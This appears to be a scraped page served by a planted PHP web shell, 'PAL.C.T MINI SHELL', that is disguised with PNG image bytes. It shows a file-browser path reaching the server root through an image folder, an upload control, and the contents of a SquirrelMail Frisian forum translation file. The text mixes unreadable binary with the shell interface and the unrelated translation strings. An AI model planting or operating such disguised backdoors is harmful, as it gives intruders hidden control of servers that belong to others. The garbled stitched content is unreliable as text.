php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/squirrelmail/locale/fy/LC_MESSAGES/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/squirrelmail/locale/fy/LC_MESSAGES/forum.po

# Frisian (fy) forum Translation (SquirrelMail plugin)
# Copyright (c) 1999-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Rinse de Vries <rinsedevries@kde.nl>, 2007.
# $Id: compatibility.pot 10877 2006-03-04 11:22:22Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: forum\n"
"Report-Msgid-Bugs-To: Sebastian Dolmen <sdolmen %AT% gmail %DOT% com>\n"
"POT-Creation-Date: 2007-01-19 13:10+0100\n"
"PO-Revision-Date: 2007-04-14 11:54+0200\n"
"Last-Translator: Rinse de Vries <rinsedevries@kde.nl>\n"
"Language-Team: Frisian <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"

#: forum.php:52
msgid "&nbsp;Forums"
msgstr "&nbsp;Foarums"

#: forum.php:53
msgid "Threads"
msgstr "Diskusjes"

#: forum.php:54
msgid "Last thread"
msgstr "Lêste diskusje"

#: hooks.php:23
msgid "Forum"
msgstr "Foarum"

#: hooks.php:47
msgid "Discussion board"
msgstr "Diskusjeboerd"

#: hooks.php:49
msgid "A browser-based administrative interface."
msgstr "In blêder-basearre administrative interface."

#: list.php:66
#: post.php:88
#: read.php:75
msgid "Forum list"
msgstr "Foarumlist"

#: list.php:66
msgid "New thread"
msgstr "Nije diskusje"

#: list.php:72
msgid "Current Page:"
msgstr "No ynstelde side:"

#: list.php:72
msgid "of"
msgstr "fan"

#: list.php:75
#: list.php:77
msgid "Previous"
msgstr "Foarrige"

#: list.php:80
#: list.php:82
msgid "Next"
msgstr "Folgjende"

#: list.php:88
msgid "&nbsp;Subject"
msgstr "&nbsp;Underwerp"

#: list.php:89
msgid "Views"
msgstr "Werjeften"

#: list.php:90
msgid "Posts"
msgstr "Artikels"

#: list.php:91
msgid "Last post"
msgstr "Lêste artikel"

#: list.php:97
#: list.php:100
msgid "by"
msgstr "troch"

#: options.php:66
#: options.php:80
msgid "Please fill in the name and the description."
msgstr "Fier de namme en beskriuwing yn."

#: options.php:110
msgid "Options - Discussion board"
msgstr "Opsjes - diskusjeboerd"

#: options.php:136
#: options.php:154
#: options.php:161
#: options.php:198
msgid "Modify forum"
msgstr "Foarum oanpasse"

#: options.php:142
#: options.php:179
msgid "Name:"
msgstr "Namme:"

#: options.php:146
#: options.php:183
msgid "Description:"
msgstr "Beskriuwing:"

#: options.php:151
#: options.php:188
msgid "Forum will be visible"
msgstr "Foarum is sichtber"

#: options.php:164
msgid "Selected forum:"
msgstr "Foarum selektearje:"

#: options.php:164
msgid "Confirm delete of selected forum?"
msgstr "Wiskjen fan selektearre foarum befêstigje?"

#: options.php:164
msgid "Confirm delete"
msgstr "Wiskjen befêstigje"

#: options.php:173
msgid "Create forum"
msgstr "Foarum oanmeitsje"

#: options.php:191
msgid "Add this forum"
msgstr "Dit foarum taheakje"

#: options.php:203
msgid "Forum name"
msgstr "Foarumnamme"

#: options.php:207
msgid "Modify"
msgstr "Wizigje"

#: options.php:207
msgid "Delete"
msgstr "Wiskje"

#: options.php:209
msgid "No forum found."
msgstr "Gjin foarum fûn"

#: post.php:72
msgid "Please fill in the subject and the body."
msgstr "Fol it ûnderwerp en berjocht yn."

#: post.php:88
#: read.php:75
msgid "Thread list"
msgstr "Diskusjelist"

#: post.php:101
msgid "Subject"
msgstr "Underwerp"

#: post.php:107
msgid "Post new topic"
msgstr "Nij ûnderwerp pleatse"

#: read.php:63
msgid "Please fill in the body of your reply."
msgstr "Fol it berjocht fan jo antwurd yn."

#: read.php:108
msgid "Reply"
msgstr "Beäntwurdzje"

#: read.php:114
msgid "Post message"
msgstr "Berjocht pleatse"

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`